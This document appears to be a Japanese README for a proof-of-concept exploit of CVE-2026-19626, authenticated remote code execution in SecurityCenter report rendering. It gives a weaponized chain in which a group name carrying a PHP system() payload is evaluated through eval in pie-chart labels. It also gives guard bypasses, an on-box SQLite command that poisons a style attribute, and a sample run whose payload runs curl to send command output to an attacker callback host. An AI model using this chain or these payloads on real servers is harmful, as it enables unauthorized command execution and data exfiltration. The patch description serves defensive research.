
CVE-2026-19626 の概念実証エクスプロイト。SecurityCenter のレポート生成における認証済みリモートコード実行であり、グループ名インジェクションと PHP eval による非管理者チェーンを実証する。

ステータス: 確認済み — 純リモート、非管理者、REST専用 (6.7.2-14.el9 ラボ、2026-08-21)。
武器化されたチェーン(これが poc.py の動作です):
name: "{=system('<cmd>')}" を指定して POST /rest/group — 波括弧/引用符はそのまま受け入れられる(グループコントローラには文字セットチェックがない)POST /rest/reportDefinition — PDFレポート、pieChartコンポーネント1つ、user/sumgroup クエリ、labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() は {=...} evalループが実行されるに プレースホルダをグループ名に置換する — ペイロードはフォーマット文字列内に入り、 が tns として発火する{label}eval("$expr = system('<cmd>');")system() の戻り値がラベルに置換され、コマンドの出力が完成したレポートの円グラフ凡例に描画される(外部送信チャネル)この正確なチェーンによって作成されたマーカー /tmp/pwn_label(DBアクセスなし、スタイル書き込みなし、ファイルアップロードなし)。メンバーがゼロのグループでもセクタが生成されることに注意 — sumgroup集計にはそれが含まれる。
さらに、直接呼び出しとフルパイプラインのスタイルポイズン(後述の履歴参照)で確認済み: 出荷時の substituteParams() 内でevalシンクが有効であり、改変されたデフォルトの legendFormat スタイル属性は、非管理者所有のレポートを含む任意の円グラフレンダリングで発火する。
配信上の注意(なぜ純REST PoCが停滞するのか): レポート定義のインライン style オブジェクト — PoCが legendFormat/labelFormat を仕込む場所 — は xmlDefinition にそのまま保存されるが、レンダリング時に破棄される: getReport(CONTEXT_RENDER) は正規化されたテーブルからコンポーネントを再水和し、$component['style'] を StyleLib::getComponentStyle()(styleID で取得)で上書きする。スタイルインポートコントローラは存在する(Styles::add、アップロードされたXMLファイルを xmlToStyles で解析、管理者専用チェックはコメントアウトされている)が、それへのルートは公開されていない — 12の動詞/パス組み合わせ(style、styles、style::add、style/import × POST/PUT/PATCH、有効なステージング済みファイル名付き)はすべてエラー10を返し、UIバンドルにはスタイルエンドポイントの呼び出しがゼロ件含まれる。したがって、純リモート配信には6.7.2が公開していないスタイル書き込みパスが必要であり、レンダリングされたチェーンはスタイル属性を直接介して実証された。
/opt/sc/src/lib/ReportChartingLib.php(SecurityCenter 6.8.0 以前):
substituteParams() 内の eval("\$expr = {$exprs[1]};")。円グラフの凡例/ラベルフォーマット文字列($style['legendFormat'] / $style['labelFormat']、4952/4983行)は {=<arithmetic>} プレースホルダをサポートする。例: 組み込みデフォルトの {={sector}+1}。式の本体はユーザーが指定したレポート定義の内容 → 任意のPHP。labelStyling を使った eval("\$sectorLabels->setBackground($labelStyle);")。6.8.0のガードは if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — ; のみを拒否。system('cmd') は通過する。circleShape(10) のようなバーシェイプ仕様に対する if (is_callable($matches['name'])) ゲート。system(id) はゲートを通過する。6.9.0の修正コメントにはこう明記されている: "is_callable() は安全なゲートではない(is_callable("system") === true)"。レポート定義の権限を持つ任意の組織ユーザーは、レンダリング時に3つすべてに到達できる(generateReport.php / Jobd)。ReportDefinitions::launch() は ROLE_ADMIN を拒否する — このバグクラスは明示的に非管理者向けである。
コマンド出力はラベルテキストに置換されるため、レンダリングされたレポートが外部送信チャネルとなる。
eval() が削除され、{=...} 式は /^[0-9.\s()+\-*\/]+/ に制限され、トークナイザによって評価される。resolveLabelStyleArgs() はラベルスタイリングを引数リストに解析する。isAllowedBarShapeFunction() は数値のみのパラメータを持つ許可リスト。
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
グループ名ラベルインジェクション(上記のリモートチェーン): ペイロード名のグループを作成し、sumgroupレポートを構築し、起動して、レンダリング結果をポーリングする — コマンド出力は完成したレポートの円グラフ凡例に表示される。ペイロードの制約: } 文字を含めない({=...} 正規表現は最初の中括弧まで非貪欲)。コマンド出力はラベル置換に乗るため、レポートから読み取るか、マーカー/タイミングで検証する。
style.legendFormat/labelFormat は xmlDefinition にそのまま保存されるが、レンダリング時に破棄される — コンポーネントは styleID を介してStyleテーブルからスタイルを再水和する(ReportDefinitionLib のレンダリングコンテキストが $component['style'] を StyleLib::getComponentStyle() で上書きする)。Styles::add、管理者チェックはコメントアウトされ、アップロードされたXMLを xmlToStyles で解析)が、ルートは配線されていない — 12の動詞/パス組み合わせ(サブリソース /rest/style/{id} を含む)はすべてエラー10を返し、UIバンドルにはスタイルエンドポイントの呼び出しがゼロ件含まれる。{label} 置換はevalループの前に行われるため、攻撃者が影響を与えた任意のラベル(ここではグループ名。ユーザープロファイルフィールドやスキャンされたアセットのホスト名も同様の形状)がペイロードを運ぶ。# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0